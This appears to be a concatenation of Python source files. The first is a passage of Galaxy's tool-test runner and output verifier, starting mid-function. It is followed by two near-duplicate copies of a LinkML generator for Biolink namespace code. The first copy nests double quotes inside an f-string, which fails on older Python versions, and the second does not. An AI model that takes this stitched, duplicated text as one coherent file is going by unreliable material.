skip_on_dynamic_param_errors=False): if resource_parameters is None: resource_parameters = {} if client_test_config is None: client_test_config = NullClientTestConfig() tool_test_dicts = tool_test_dicts or galaxy_interactor.get_tool_tests(tool_id, tool_version=tool_version) tool_test_dict = tool_test_dicts[test_index] if "test_index" not in tool_test_dict: tool_test_dict["test_index"] = test_index if "tool_id" not in tool_test_dict: tool_test_dict["tool_id"] = tool_id if tool_version is None and "tool_version" in tool_test_dict: tool_version = tool_test_dict.get("tool_version") job_data = { "tool_id": tool_id, "tool_version": tool_version, "test_index": test_index, } client_config = client_test_config.get_test_config(job_data) skip_message = None if client_config is not None: job_data.update(client_config) skip_message = job_data.get("skip") if not skip_message and skip_with_reference_data: required_data_tables = tool_test_dict.get("required_data_tables") required_loc_files = tool_test_dict.get("required_loc_files") # TODO: actually hit the API and see if these tables are available. if required_data_tables: skip_message = f"Skipping test because of required data tables ({required_data_tables})" if required_loc_files: skip_message = f"Skipping test because of required loc files ({required_loc_files})" if skip_message: job_data["status"] = "skip" register_job_data(job_data) return tool_test_dict.setdefault('maxseconds', maxseconds) testdef = ToolTestDescription(tool_test_dict) _handle_def_errors(testdef) created_history = False if test_history is None: created_history = True history_name = f"Tool Test History for {tool_id}/{tool_version}-{test_index}" test_history = galaxy_interactor.new_history(history_name=history_name, publish_history=publish_history) # Upload data to test_history, run the tool and check the outputs - record # API input, job info, tool run exception, as well as exceptions related to # job output checking and register they with the test plugin so it can # record structured information. tool_inputs = None job_stdio = None job_output_exceptions = None tool_execution_exception = None input_staging_exception = None expected_failure_occurred = False begin_time = time.time() try: try: stage_data_in_history( galaxy_interactor, tool_id, testdef.test_data(), history=test_history, force_path_paste=force_path_paste, maxseconds=maxseconds, tool_version=tool_version, ) except Exception as e: input_staging_exception = e raise try: tool_response = galaxy_interactor.run_tool(testdef, test_history, resource_parameters=resource_parameters) data_list, jobs, tool_inputs = tool_response.outputs, tool_response.jobs, tool_response.inputs data_collection_list = tool_response.output_collections except RunToolException as e: tool_inputs = e.inputs tool_execution_exception = e if not testdef.expect_failure: raise e else: expected_failure_occurred = True except Exception as e: tool_execution_exception = e raise e if not expected_failure_occurred: assert data_list or data_collection_list try: job_stdio = _verify_outputs(testdef, test_history, jobs, data_list, data_collection_list, galaxy_interactor, quiet=quiet) except JobOutputsError as e: job_stdio = e.job_stdio job_output_exceptions = e.output_exceptions raise e except Exception as e: job_output_exceptions = [e] raise e finally: if register_job_data is not None: end_time = time.time() job_data["time_seconds"] = end_time - begin_time if tool_inputs is not None: job_data["inputs"] = tool_inputs if job_stdio is not None: job_data["job"] = job_stdio status = "success" if job_output_exceptions: job_data["output_problems"] = [util.unicodify(_) for _ in job_output_exceptions] status = "failure" if tool_execution_exception: job_data["execution_problem"] = util.unicodify(tool_execution_exception) dynamic_param_error = getattr(tool_execution_exception, "dynamic_param_error", False) job_data["dynamic_param_error"] = dynamic_param_error status = "error" if not skip_on_dynamic_param_errors or not dynamic_param_error else "skip" if input_staging_exception: job_data["execution_problem"] = f"Input staging problem: {util.unicodify(input_staging_exception)}" status = "error" job_data["status"] = status register_job_data(job_data) if created_history and not no_history_cleanup: galaxy_interactor.delete_history(test_history) def _handle_def_errors(testdef): # If the test generation had an error, raise if testdef.error: if testdef.exception: if isinstance(testdef.exception, Exception): raise testdef.exception else: raise Exception(testdef.exception) else: raise Exception("Test parse failure") def _verify_outputs(testdef, history, jobs, data_list, data_collection_list, galaxy_interactor, quiet=False): assert len(jobs) == 1, "Test framework logic error, somehow tool test resulted in more than one job." job = jobs[0] maxseconds = testdef.maxseconds if testdef.num_outputs is not None: expected = testdef.num_outputs actual = len(data_list) + len(data_collection_list) if expected != actual: message = f"Incorrect number of outputs - expected {expected}, found {actual}: datasets {data_list} collections {data_collection_list}" raise Exception(message) found_exceptions = [] def register_exception(e): if not found_exceptions and not quiet: # Only print this stuff out once. for stream in ['stdout', 'stderr']: if stream in job_stdio: print(_format_stream(job_stdio[stream], stream=stream, format=True), file=sys.stderr) found_exceptions.append(e) if testdef.expect_failure: if testdef.outputs: raise Exception("Cannot specify outputs in a test expecting failure.") # Wait for the job to complete and register expections if the final # status was not what test was expecting. job_failed = False try: galaxy_interactor.wait_for_job(job['id'], history, maxseconds) except Exception as e: job_failed = True if not testdef.expect_failure: found_exceptions.append(e) job_stdio = galaxy_interactor.get_job_stdio(job['id']) if not job_failed and testdef.expect_failure: error = AssertionError("Expected job to fail but Galaxy indicated the job successfully completed.") register_exception(error) expect_exit_code = testdef.expect_exit_code if expect_exit_code is not None: exit_code = job_stdio["exit_code"] if str(expect_exit_code) != str(exit_code): error = AssertionError(f"Expected job to complete with exit code {expect_exit_code}, found {exit_code}") register_exception(error) for output_index, output_dict in enumerate(testdef.outputs): # Get the correct hid name = output_dict["name"] outfile = output_dict["value"] attributes = output_dict["attributes"] output_testdef = Bunch(name=name, outfile=outfile, attributes=attributes) try: output_data = data_list[name] except (TypeError, KeyError): # Legacy - fall back on ordered data list access if data_list is # just a list (case with twill variant or if output changes its # name). if hasattr(data_list, "values"): output_data = list(data_list.values())[output_index] else: output_data = data_list[len(data_list) - len(testdef.outputs) + output_index] assert output_data is not None try: galaxy_interactor.verify_output(history, jobs, output_data, output_testdef=output_testdef, tool_id=job['tool_id'], maxseconds=maxseconds, tool_version=testdef.tool_version) except Exception as e: register_exception(e) other_checks = { "command_line": "Command produced by the job", "command_version": "Tool version indicated during job execution", "stdout": "Standard output of the job", "stderr": "Standard error of the job", } # TODO: Only hack the stdio like this for older profile, for newer tool profiles # add some syntax for asserting job messages maybe - or just drop this because exit # code and regex on stdio can be tested directly - so this is really testing Galaxy # core handling more than the tool. job_messages = job_stdio.get("job_messages") or [] stdout_prefix = "" stderr_prefix = "" for job_message in job_messages: message_type = job_message.get("type") if message_type == "regex" and job_message.get("stream") == "stderr": stderr_prefix += f"{job_message.get('desc') or ''}\n" elif message_type == "regex" and job_message.get("stream") == "stdout": stdout_prefix += f"{job_message.get('desc') or ''}\n" elif message_type == "exit_code": stderr_prefix += f"{job_message.get('desc') or ''}\n" else: raise Exception(f"Unknown job message type [{message_type}] in [{job_message}]") for what, description in other_checks.items(): if getattr(testdef, what, None) is not None: try: raw_data = job_stdio[what] assertions = getattr(testdef, what) if what == "stdout": data = stdout_prefix + raw_data elif what == "stderr": data = stderr_prefix + raw_data else: data = raw_data verify_assertions(data, assertions) except AssertionError as err: errmsg = f'{description} different than expected\n' errmsg += util.unicodify(err) register_exception(AssertionError(errmsg)) for output_collection_def in testdef.output_collections: try: name = output_collection_def.name # TODO: data_collection_list is clearly a bad name for dictionary. if name not in data_collection_list: message = f"Failed to find output [{name}], tool outputs include [{','.join(data_collection_list.keys())}]" raise AssertionError(message) # Data collection returned from submission, elements may have been populated after # the job completed so re-hit the API for more information. data_collection_id = data_collection_list[name]["id"] galaxy_interactor.verify_output_collection(output_collection_def, data_collection_id, history, job['tool_id']) except Exception as e: register_exception(e) if found_exceptions and not testdef.expect_test_failure: raise JobOutputsError(found_exceptions, job_stdio) else: return job_stdio def _format_stream(output, stream, format): output = output or '' if format: msg = f"---------------------- >> begin tool {stream} << -----------------------\n" msg += f"{output}\n" msg += f"----------------------- >> end tool {stream} << ------------------------\n" else: msg = output return msg class JobOutputsError(AssertionError): def __init__(self, output_exceptions, job_stdio): big_message = "\n".join(map(util.unicodify, output_exceptions)) super().__init__(big_message) self.job_stdio = job_stdio self.output_exceptions = output_exceptions class ToolTestDescription: """ Encapsulates information about a tool test, and allows creation of a dynamic TestCase class (the unittest framework is very class oriented, doing dynamic tests in this way allows better integration) """ def __init__(self, processed_test_dict): assert "test_index" in processed_test_dict, "Invalid processed test description, must have a 'test_index' for naming, etc.." test_index = processed_test_dict["test_index"] name = processed_test_dict.get('name', f'Test-{test_index + 1}') maxseconds = processed_test_dict.get('maxseconds', DEFAULT_TOOL_TEST_WAIT) if maxseconds is not None: maxseconds = int(maxseconds) self.test_index = test_index assert "tool_id" in processed_test_dict, "Invalid processed test description, must have a 'tool_id' for naming, etc.." self.tool_id = processed_test_dict["tool_id"] self.tool_version = processed_test_dict.get("tool_version") self.name = name self.maxseconds = maxseconds self.required_files = processed_test_dict.get("required_files", []) self.required_data_tables = processed_test_dict.get("required_data_tables", []) self.required_loc_files = processed_test_dict.get("required_loc_files", []) inputs = processed_test_dict.get("inputs", {}) loaded_inputs = {} for key, value in inputs.items(): if isinstance(value, dict) and value.get("model_class"): loaded_inputs[key] = TestCollectionDef.from_dict(value) else: loaded_inputs[key] = value self.inputs = loaded_inputs self.outputs = processed_test_dict.get("outputs", []) self.num_outputs = processed_test_dict.get("num_outputs", None) self.error = processed_test_dict.get("error", False) self.exception = processed_test_dict.get("exception", None) self.output_collections = [TestCollectionOutputDef.from_dict(d) for d in processed_test_dict.get("output_collections", [])] self.command_line = processed_test_dict.get("command_line", None) self.command_version = processed_test_dict.get("command_version", None) self.stdout = processed_test_dict.get("stdout", None) self.stderr = processed_test_dict.get("stderr", None) self.expect_exit_code = processed_test_dict.get("expect_exit_code", None) self.expect_failure = processed_test_dict.get("expect_failure", False) self.expect_test_failure = processed_test_dict.get("expect_test_failure", False) def test_data(self): """ Iterator over metadata representing the required files for upload. """ return test_data_iter(self.required_files) def to_dict(self): inputs_dict = {} for key, value in self.inputs.items(): if hasattr(value, "to_dict"): inputs_dict[key] = value.to_dict() else: inputs_dict[key] = value return { "inputs": inputs_dict, "outputs": self.outputs, "output_collections": [_.to_dict() for _ in self.output_collections], "num_outputs": self.num_outputs, "command_line": self.command_line, "command_version": self.command_version, "stdout": self.stdout, "stderr": self.stderr, "expect_exit_code": self.expect_exit_code, "expect_failure": self.expect_failure, "expect_test_failure": self.expect_test_failure, "name": self.name, "test_index": self.test_index, "tool_id": self.tool_id, "tool_version": self.tool_version, "required_files": self.required_files, "required_data_tables": self.required_data_tables, "required_loc_files": self.required_loc_files, "error": self.error, "exception": self.exception, } @nottest def test_data_iter(required_files): for fname, extra in required_files: data_dict = dict( fname=fname, metadata=extra.get('metadata', {}), composite_data=extra.get('composite_data', []), ftype=extra.get('ftype', DEFAULT_FTYPE), dbkey=extra.get('dbkey', DEFAULT_DBKEY), ) edit_attributes = extra.get('edit_attributes', []) # currently only renaming is supported for edit_att in edit_attributes: if edit_att.get('type', None) == 'name': new_name = edit_att.get('value', None) assert new_name, 'You must supply the new dataset name as the value tag of the edit_attributes tag' data_dict['name'] = new_name else: raise Exception(f"edit_attributes type ({edit_att.get('type', None)}) is unimplemented") yield data_dict
import os import click from linkml.generators import PYTHON_GEN_VERSION from linkml.generators.pythongen import PythonGenerator from linkml_runtime.utils.formatutils import split_line, be from linkml.utils.generator import shared_arguments class NamespaceGenerator(PythonGenerator): generatorname = os.path.basename(__file__) generatorversion = PYTHON_GEN_VERSION valid_formats = ['py'] visit_all_class_slots = False def gen_namespaces(self) -> str: return '\n\t\t'.join([ f"CurieNamespace('{pfx.replace(".", "_")}', '{self.namespaces[pfx]}')," for pfx in sorted(self.emit_prefixes) if pfx in self.namespaces ]) def gen_schema(self) -> str: split_descripton = '\n# '.join(split_line(be(self.schema.description), split_len=100)) head = f'''# Auto generated from {self.schema.source_file} by {self.generatorname} version: {self.generatorversion} # Generation date: {self.schema.generation_date} # Schema: {self.schema.name} #''' if self.schema.generation_date else '' return f'''{head} # id: {self.schema.id} # description: {split_descripton} # license: {be(self.schema.license)} from collections import defaultdict from typing import Iterable, Dict, Tuple from linkml_runtime.utils.curienamespace import CurieNamespace GENE = 'gene' DISEASE = 'disease' CHEMICAL_SUBSTANCE = 'chemical substance' SYMBOL = 'Approved_Symbol' class IdentifierResolverException(RuntimeError): pass class BiolinkNameSpace: """ Map of BioLink Model registered URI Namespaces """ _namespaces = [ {self.gen_namespaces()} ] # class level dictionaries _prefix_map: Dict[str, CurieNamespace] = {{}} @classmethod def _get_prefix_map(cls): if not cls._prefix_map: for ns in cls._namespaces: # index by upper case for uniformity of search cls._prefix_map[ns.prefix.upper()] = ns return cls._prefix_map @classmethod def parse_curie(cls, curie: str) -> Tuple[CurieNamespace, str]: """ Parse a candidate CURIE :param curie: candidate curie string :return: CURIE namespace and object_id """ found = CurieNamespace("", ""), curie # default value if not a CURIE or unknown XMLNS prefix if ':' in curie: part = curie.split(":") # Normalize retrieval with upper case of prefix for lookup prefix = part[0].upper() if prefix in cls._get_prefix_map(): found = cls._prefix_map[prefix], part[1] return found @classmethod def parse_uri(cls, uri: str) -> Tuple[CurieNamespace, str]: """ Parse a candidate URI :param uri: candidate URI string :return: namespace and object_id """ found = CurieNamespace("", ""), uri # default value returned if unknown URI namespace # TODO: is there a more efficient lookup scheme here than a linear search of namespaces? for ns in cls._namespaces: base_uri = str(ns) if uri.startswith(base_uri): # simple minded deletion of base_uri to give the object_id object_id = uri.replace(base_uri, "") found = ns, object_id break return found @classmethod def parse_identifier(cls, identifier: str) -> Tuple[CurieNamespace, str]: # trivial case of a null identifier? if not identifier: return CurieNamespace("", ""), "" # check if this is a candidate URI... if identifier.lower().startswith("http"): # guess that perhaps it is, so try to parse it return cls.parse_uri(identifier) else: # attempt to parse as a CURIE return cls.parse_curie(identifier) def object_id(identifier, keep_version=False) -> str: """ Returns the core object_id of a CURIE, with or without the version suffix. Note: not designed to be used with a URI (will give an invalid outcome) :param identifier: candidate CURIE identifier for processing :param keep_version: True if the version string suffix is to be retained in the identifier :return: """ # trivial case: null input value? if not identifier: return identifier if ':' in identifier: identifier = identifier.split(":")[1] if not keep_version and '.' in identifier: identifier = identifier.split(".")[0] return identifier def fix_curies(identifiers, prefix=''): """ Applies the specified XMLNS prefix to (an) identifier(s) known to be "raw" IDs as keys in a dictionary or elements in a list (or a simple string) :param identifiers: :param prefix: :return: """ if not prefix: # return identifiers without modification # Caller may already consider them in curie format return identifiers if isinstance(identifiers, dict): curie_dict = defaultdict(dict) for key in identifiers.keys(): curie_dict[prefix + ':' + object_id(key, keep_version=True)] = identifiers[key] return curie_dict # identifiers assumed to be just a single object identifier elif isinstance(identifiers, str): # single string to convert return prefix + ':' + object_id(identifiers, keep_version=True) elif isinstance(identifiers, Iterable): return [prefix + ':' + object_id(x, keep_version=True) for x in identifiers] else: raise RuntimeError("fix_curie() is not sure how to fix an instance of data type '", type(identifiers)) def curie(identifier) -> str: # Ignore enpty strings if not identifier: return "" else: namespace: CurieNamespace identifier_object_id: str namespace, identifier_object_id = BiolinkNameSpace.parse_identifier(identifier) return namespace.curie(identifier_object_id) ''' @shared_arguments(NamespaceGenerator) @click.command() def cli(yamlfile, **args): """ Generate a namespace manager for all of the prefixes represented in a biolink model """ print(NamespaceGenerator(yamlfile,**args).serialize(**args)) if __name__ == '__main__': cli()
import os import click from linkml.generators import PYTHON_GEN_VERSION from linkml.generators.pythongen import PythonGenerator from linkml_runtime.utils.formatutils import split_line, be from linkml.utils.generator import shared_arguments class NamespaceGenerator(PythonGenerator): generatorname = os.path.basename(__file__) generatorversion = PYTHON_GEN_VERSION valid_formats = ['py'] visit_all_class_slots = False def gen_namespaces(self) -> str: return '\n\t\t'.join([ f"CurieNamespace('{pfx.replace('.', '_')}', '{self.namespaces[pfx]}')," for pfx in sorted(self.emit_prefixes) if pfx in self.namespaces ]) def gen_schema(self) -> str: split_descripton = '\n# '.join(split_line(be(self.schema.description), split_len=100)) head = f'''# Auto generated from {self.schema.source_file} by {self.generatorname} version: {self.generatorversion} # Generation date: {self.schema.generation_date} # Schema: {self.schema.name} #''' if self.schema.generation_date else '' return f'''{head} # id: {self.schema.id} # description: {split_descripton} # license: {be(self.schema.license)} from collections import defaultdict from typing import Iterable, Dict, Tuple from linkml_runtime.utils.curienamespace import CurieNamespace GENE = 'gene' DISEASE = 'disease' CHEMICAL_SUBSTANCE = 'chemical substance' SYMBOL = 'Approved_Symbol' class IdentifierResolverException(RuntimeError): pass class BiolinkNameSpace: """ Map of BioLink Model registered URI Namespaces """ _namespaces = [ {self.gen_namespaces()} ] # class level dictionaries _prefix_map: Dict[str, CurieNamespace] = {{}} @classmethod def _get_prefix_map(cls): if not cls._prefix_map: for ns in cls._namespaces: # index by upper case for uniformity of search cls._prefix_map[ns.prefix.upper()] = ns return cls._prefix_map @classmethod def parse_curie(cls, curie: str) -> Tuple[CurieNamespace, str]: """ Parse a candidate CURIE :param curie: candidate curie string :return: CURIE namespace and object_id """ found = CurieNamespace("", ""), curie # default value if not a CURIE or unknown XMLNS prefix if ':' in curie: part = curie.split(":") # Normalize retrieval with upper case of prefix for lookup prefix = part[0].upper() if prefix in cls._get_prefix_map(): found = cls._prefix_map[prefix], part[1] return found @classmethod def parse_uri(cls, uri: str) -> Tuple[CurieNamespace, str]: """ Parse a candidate URI :param uri: candidate URI string :return: namespace and object_id """ found = CurieNamespace("", ""), uri # default value returned if unknown URI namespace # TODO: is there a more efficient lookup scheme here than a linear search of namespaces? for ns in cls._namespaces: base_uri = str(ns) if uri.startswith(base_uri): # simple minded deletion of base_uri to give the object_id object_id = uri.replace(base_uri, "") found = ns, object_id break return found @classmethod def parse_identifier(cls, identifier: str) -> Tuple[CurieNamespace, str]: # trivial case of a null identifier? if not identifier: return CurieNamespace("", ""), "" # check if this is a candidate URI... if identifier.lower().startswith("http"): # guess that perhaps it is, so try to parse it return cls.parse_uri(identifier) else: # attempt to parse as a CURIE return cls.parse_curie(identifier) def object_id(identifier, keep_version=False) -> str: """ Returns the core object_id of a CURIE, with or without the version suffix. Note: not designed to be used with a URI (will give an invalid outcome) :param identifier: candidate CURIE identifier for processing :param keep_version: True if the version string suffix is to be retained in the identifier :return: """ # trivial case: null input value? if not identifier: return identifier if ':' in identifier: identifier = identifier.split(":")[1] if not keep_version and '.' in identifier: identifier = identifier.split(".")[0] return identifier def fix_curies(identifiers, prefix=''): """ Applies the specified XMLNS prefix to (an) identifier(s) known to be "raw" IDs as keys in a dictionary or elements in a list (or a simple string) :param identifiers: :param prefix: :return: """ if not prefix: # return identifiers without modification # Caller may already consider them in curie format return identifiers if isinstance(identifiers, dict): curie_dict = defaultdict(dict) for key in identifiers.keys(): curie_dict[prefix + ':' + object_id(key, keep_version=True)] = identifiers[key] return curie_dict # identifiers assumed to be just a single object identifier elif isinstance(identifiers, str): # single string to convert return prefix + ':' + object_id(identifiers, keep_version=True) elif isinstance(identifiers, Iterable): return [prefix + ':' + object_id(x, keep_version=True) for x in identifiers] else: raise RuntimeError("fix_curie() is not sure how to fix an instance of data type '", type(identifiers)) def curie(identifier) -> str: # Ignore enpty strings if not identifier: return "" else: namespace: CurieNamespace identifier_object_id: str namespace, identifier_object_id = BiolinkNameSpace.parse_identifier(identifier) return namespace.curie(identifier_object_id) ''' @shared_arguments(NamespaceGenerator) @click.command() def cli(yamlfile, **args): """ Generate a namespace manager for all of the prefixes represented in a biolink model """ print(NamespaceGenerator(yamlfile,**args).serialize(**args)) if __name__ == '__main__': cli()